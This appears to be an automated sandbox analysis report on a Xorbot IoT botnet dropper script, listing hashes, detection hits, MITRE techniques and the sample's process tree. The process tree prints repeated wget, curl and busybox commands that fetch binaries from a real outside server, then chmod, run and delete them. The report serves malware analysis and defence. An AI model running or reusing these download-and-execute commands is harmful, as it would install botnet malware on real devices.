xorbot | a951ff81fba393bc4198415409f8debbd1810cd12428e09d4911db31b2c13865

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
05/01/2025, 02:07

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General

Target

bins.sh
Size

10KB
MD5

14d81ef351bb6aae82ee36299ec51f37
SHA1

58f421dee90f5cf84f804bc5fdd25e6c772bd694
SHA256

a951ff81fba393bc4198415409f8debbd1810cd12428e09d4911db31b2c13865
SHA512

fd5442120434dd9da842e3d123263711ed0c0052b53d66f04c5c4b9e966208181ea139e2efdd758237a1a4500f08bad61cc6319ccd96314b97a940f4bc318c40
SSDEEP

192:Fnbdk8L13hLVWSX3Lvemcu6JdL13hLVWSLTemcu6JWXO:xdko3LYG

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 7 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-11.dat	family_xorbot
behavioral4/files/fstream-13.dat	family_xorbot
behavioral4/files/fstream-15.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
804	chmod
844	chmod
851	chmod
858	chmod
865	chmod
738	chmod
745	chmod
769	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE	739	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
/tmp/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY	746	aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
/tmp/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC	771	OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
/tmp/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu	805	eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
/tmp/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn	845	BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
/tmp/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ	852	Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
/tmp/wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL	859	wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL
/tmp/kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq	866	kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC	wget
File opened for modification	/tmp/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn	busybox
File opened for modification	/tmp/kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq	curl
File opened for modification	/tmp/kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq	busybox
File opened for modification	/tmp/1YjRNXbhnChrjW0fUZMCNpjXO0iogF8B4D	wget
File opened for modification	/tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE	curl
File opened for modification	/tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE	busybox
File opened for modification	/tmp/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY	busybox
File opened for modification	/tmp/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC	curl
File opened for modification	/tmp/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC	busybox
File opened for modification	/tmp/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn	curl
File opened for modification	/tmp/kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq	wget
File opened for modification	/tmp/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu	curl
File opened for modification	/tmp/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn	wget
File opened for modification	/tmp/wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL	wget
File opened for modification	/tmp/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu	wget
File opened for modification	/tmp/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu	busybox
File opened for modification	/tmp/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ	wget
File opened for modification	/tmp/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ	curl
File opened for modification	/tmp/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ	busybox
File opened for modification	/tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE	wget
File opened for modification	/tmp/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY	wget
File opened for modification	/tmp/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY	curl
File opened for modification	/tmp/wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL	curl
File opened for modification	/tmp/wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://66.63.187.225/bins/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  2⤵
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  ./LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  2⤵
  PID:741
- /usr/bin/wget
  wget http://66.63.187.225/bins/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
  2⤵
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 777 aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
  ./aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
  2⤵
  PID:748
- /usr/bin/wget
  wget http://66.63.187.225/bins/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
  2⤵
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
  2⤵
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
  ./OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC
  2⤵
  PID:773
- /usr/bin/wget
  wget http://66.63.187.225/bins/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
  2⤵
  - Writes file to tmp directory
  PID:775
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
  2⤵
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod 777 eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
  ./eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
  2⤵
  - Executes dropped EXE
  PID:805
- /bin/rm
  rm eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu
  2⤵
  PID:807
- /usr/bin/wget
  wget http://66.63.187.225/bins/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
  2⤵
  - Writes file to tmp directory
  PID:808
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
  2⤵
  - Writes file to tmp directory
  PID:843
- /bin/chmod
  chmod 777 BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
  ./BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn
  2⤵
  PID:847
- /usr/bin/wget
  wget http://66.63.187.225/bins/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
  2⤵
  - Writes file to tmp directory
  PID:848
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
  2⤵
  - Writes file to tmp directory
  PID:850
- /bin/chmod
  chmod 777 Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
  ./Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ
  2⤵
  PID:854
- /usr/bin/wget
  wget http://66.63.187.225/bins/wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL
  2⤵
  - Writes file to tmp directory
  PID:855
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL
  2⤵
  - Writes file to tmp directory
  PID:857
- /bin/chmod
  chmod 777 wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL
  ./wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL
  2⤵
  - Executes dropped EXE
  PID:859
- /bin/rm
  rm wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL
  2⤵
  PID:861
- /usr/bin/wget
  wget http://66.63.187.225/bins/kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq
  2⤵
  - Writes file to tmp directory
  PID:862
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq
  2⤵
  - Writes file to tmp directory
  PID:864
- /bin/chmod
  chmod 777 kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq
  ./kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq
  2⤵
  PID:868
- /usr/bin/wget
  wget http://66.63.187.225/bins/1YjRNXbhnChrjW0fUZMCNpjXO0iogF8B4D
  2⤵
  - Writes file to tmp directory
  PID:869

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/1YjRNXbhnChrjW0fUZMCNpjXO0iogF8B4D

Filesize
2KB

MD5
48bc79558770402c71d69821846d9321

SHA1
7074b8db05ae03f7e8923950934b344531e13a98

SHA256
aab1a33b1ed3fe5de6b564e036764201a8c23a8f326d03ac103cddf863fb553e

SHA512
102731bb4e85826d6dfd04c8842aad4e772966bf595d3fae2a90255af5b5042352ac52e71d93135b54f4f8573957c58bcd0444989caf508ed09d2b2785196dcc

Download Submit
/tmp/BqKo0jWuEfClJ30XZ1Sg4e3O9JhnRxqmEn

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/OJpbALdUn8M53DtfsFuYPGRZWq9THs2mQC

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/Zlu3fuYOIdSSfMwVnVrpKQkzArlHcOgTlQ

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/eGW8zE4UW3xGKJ3eFdL1aeOLNySZxKU3nu

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/kxP7TuPsCvrYQHBODElbTYVioLTrbwrwNq

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/wwNrd5leDxLOYtn3GGKlOt9pUEZiI9OwiL

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

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